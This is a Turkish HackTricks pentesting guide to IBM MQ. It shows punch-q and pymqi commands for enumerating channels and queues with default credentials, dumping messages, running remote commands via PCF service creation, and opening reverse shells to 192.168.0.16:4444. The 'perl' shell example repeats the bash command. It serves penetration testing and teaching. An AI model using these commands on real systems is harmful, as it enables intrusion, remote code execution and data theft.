# 1414 - Pentesting IBM MQ {% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP Hacking öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %} ## Temel bilgiler IBM MQ, mesaj kuyruklarını yönetmek için bir IBM teknolojisidir. Diğer **mesaj aracısı** teknolojileri gibi, üreticiler ve tüketiciler arasında bilgi almak, depolamak, işlemek ve sınıflandırmak için ayrılmıştır. Varsayılan olarak, **IBM MQ TCP port 1414'ü açar**. Bazen, HTTP REST API **9443** portunda açılabilir. Metrikler (Prometheus) ayrıca **9157** TCP portundan erişilebilir. IBM MQ TCP port 1414, mesajları, kuyrukları, kanalları manipüle etmek için kullanılabilir, ... ama **aynı zamanda örneği kontrol etmek için de** kullanılabilir. IBM, [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) adresinde geniş bir teknik dokümantasyon sunmaktadır. ## Araçlar Kolay sömürü için önerilen bir araç **[punch-q](https://github.com/sensepost/punch-q)**, Docker kullanımı ile. Araç, `pymqi` Python kütüphanesini aktif olarak kullanmaktadır. Daha manuel bir yaklaşım için, **[pymqi](https://github.com/dsuch/pymqi)** Python kütüphanesini kullanın. [IBM MQ bağımlılıkları](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) gereklidir. ### pymqi Kurulumu **IBM MQ bağımlılıkları** kurulmalı ve yüklenmelidir: 1. [https://login.ibm.com/](https://login.ibm.com/) adresinde bir hesap (IBMid) oluşturun. 2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) adresinden IBM MQ kütüphanelerini indirin. Linux x86_64 için **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**'dir. 3. Sıkıştırmayı açın (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Lisans şartlarını kabul etmek için `sudo ./mqlicense.sh` komutunu çalıştırın. >Kali Linux kullanıyorsanız, `mqlicense.sh` dosyasını değiştirin: aşağıdaki satırları (105-110. satırlar arasında) kaldırın/yorumlayın: > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "HATA: Bu paket bu sistemle uyumsuz" > echo " Bu paket ${BUILD_PLATFORM} için oluşturuldu" > exit 1 >fi >``` 5. Bu paketleri kurun: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Ardından, geçici olarak `.so` dosyalarını LD'ye ekleyin: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **diğer araçları bu bağımlılıkları kullanarak çalıştırmadan önce**. Sonra, projeyi [**pymqi**](https://github.com/dsuch/pymqi) klonlayabilirsiniz: ilginç kod parçacıkları, sabitler vb. içerir... Ya da kütüphaneyi doğrudan şu komutla kurabilirsiniz: `pip install pymqi`. ### punch-q Kullanımı #### Docker ile Basitçe şunu kullanın: `sudo docker run --rm -ti leonjza/punch-q`. #### Docker olmadan Projeyi [**punch-q**](https://github.com/sensepost/punch-q) klonlayın ve ardından kurulum için readme'yi takip edin (`pip install -r requirements.txt && python3 setup.py install`). Sonrasında, `punch-q` komutuyla kullanılabilir. ## Sayım **Queue manager adı, kullanıcılar, kanallar ve kuyruklar**'ı **punch-q** veya **pymqi** ile saymayı deneyebilirsiniz. ### Queue Manager Bazen, Queue Manager adını elde etmeye karşı bir koruma yoktur: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Kanallar **punch-q** mevcut kanalları bulmak için iç (değiştirilebilir) bir kelime listesi kullanıyor. Kullanım örneği: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` Bazı IBM MQ örneklerinin **kimlik doğrulaması yapılmamış** MQ isteklerini kabul ettiği durumlar vardır, bu nedenle `--username / --password` gerekli değildir. Elbette, erişim hakları da değişiklik gösterebilir. Bir kanal adını (burada: `DEV.ADMIN.SVRCONN`) aldığımız anda, diğer tüm kanalları listeleyebiliriz. Listeleme, temel olarak **pymqi**'den `code/examples/dis_channels.py` bu kod parçası ile yapılabilir: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... Ama **punch-q** bu kısmı da (daha fazla bilgi ile!) içerir. Şu şekilde başlatılabilir: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Kuyruklar **pymqi** ile bir kod parçası var (`dis_queues.py`) ama **punch-q** kuyruklar hakkında daha fazla bilgi parçası almayı sağlar: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Exploit ### Dump messages Queue(lar)/kanal(lar) hedef alarak onlardan mesajları dinleyebilir / dökebilirsiniz (yıkıcı olmayan işlem). *Örnekler:* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **Tespit edilen tüm kuyruklar üzerinde iterasyona girmekten çekinmeyin.** ### Kod yürütme > Devam etmeden önce bazı detaylar: IBM MQ, birden fazla yol ile kontrol edilebilir: MQSC, PCF, Kontrol Komutu. Genel listeler [IBM MQ belgelerinde](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) bulunabilir. > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programlanabilir Komut Formatları***) ile uzaktan örnekle etkileşimde bulunmaya odaklanıyoruz. **punch-q** ve ayrıca **pymqi** PCF etkileşimlerine dayanmaktadır. > > PCF komutlarının bir listesini bulabilirsiniz: > * [PCF belgelerinden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), ve > * [sabitlerden](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > İlginç bir komut `MQCMD_CREATE_SERVICE` ve belgeleri [burada](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) mevcuttur. Bir `StartCommand` argümanı alır ve bu, örneğin, örnekteki gibi yerel bir programa işaret eder: `/bin/sh`. > > Belgelerde komutla ilgili bir uyarı da bulunmaktadır: *"Dikkat: Bu komut, bir kullanıcının mqm yetkisi ile keyfi bir komut çalıştırmasına izin verir. Bu komutu kullanma hakkı verilirse, kötü niyetli veya dikkatsiz bir kullanıcı, sistemlerinize veya verilerinize zarar verecek bir hizmet tanımlayabilir; örneğin, gerekli dosyaları silerek."* > > *Not: her zaman IBM MQ belgelerine (Yönetim Referansı) göre, hizmet oluşturma için eşdeğer MQSC komutunu çalıştırmak üzere `/admin/action/qmgr/{qmgrName}/mqsc` adresinde bir HTTP uç noktası da bulunmaktadır. Bu konu burada henüz ele alınmamıştır.* PCF ile uzaktan program yürütme için hizmet oluşturma / silme **punch-q** ile yapılabilir: **Örnek 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > IBM MQ günlüklerinde, komutun başarıyla yürütüldüğünü okuyabilirsiniz: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` Ayrıca makinedeki mevcut programları sayabilirsiniz (burada `/bin/doesnotexist` ... mevcut değildir): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Programın başlatılmasının asenkron olduğunu unutmayın. Bu nedenle, istismarı kullanmak için ikinci bir öğeye ihtiyacınız var** ***(ters kabuk için dinleyici, farklı hizmette dosya oluşturma, ağ üzerinden veri sızdırma ...)*** **Örnek 2** Kolay ters kabuk için, **punch-q** ayrıca iki ters kabuk yükü önerir: * Biri bash ile * Biri perl ile *Elbette `execute` komutunu kullanarak özel bir tane oluşturabilirsiniz.* Bash için: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` For perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Özel PCF IBM MQ belgelerine göz atabilir ve **punch-q**'da uygulanmamış belirli PCF komutlarını test etmek için doğrudan **pymqi** python kütüphanesini kullanabilirsiniz. **Örnek:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` Eğer sabit isimlerini bulamıyorsanız, [IBM MQ belgelerine](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) başvurabilirsiniz. > *[`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Ondalık = 73) için örnek. `MQCA_CLUSTER_NAME` (Ondalık = 2029) parametresine ihtiyaç duyar, bu `*` olabilir (Dok: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Hata") > else: > print(response) > > qmgr.disconnect() > ``` ## Test ortamı IBM MQ davranışını ve istismarlarını test etmek istiyorsanız, Docker tabanlı bir yerel ortam kurabilirsiniz: 1. ibm.com ve cloud.ibm.com üzerinde bir hesabınızın olması. 2. Aşağıdaki ile konteynerleştirilmiş bir IBM MQ oluşturun: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Varsayılan olarak, kimlik doğrulama etkinleştirilmiştir, kullanıcı adı `admin` ve şifre `passw0rd` (Ortam değişkeni `MQ_ADMIN_PASSWORD`). Burada, kuyruk yöneticisi adı `MYQUEUEMGR` olarak ayarlanmıştır (değişken `MQ_QMGR_NAME`). IBM MQ'nun çalışır durumda olması ve portlarının açık olması gerekir: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > IBM MQ docker görüntülerinin eski versiyonu şurada: https://hub.docker.com/r/ibmcom/mq/. ## References * [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)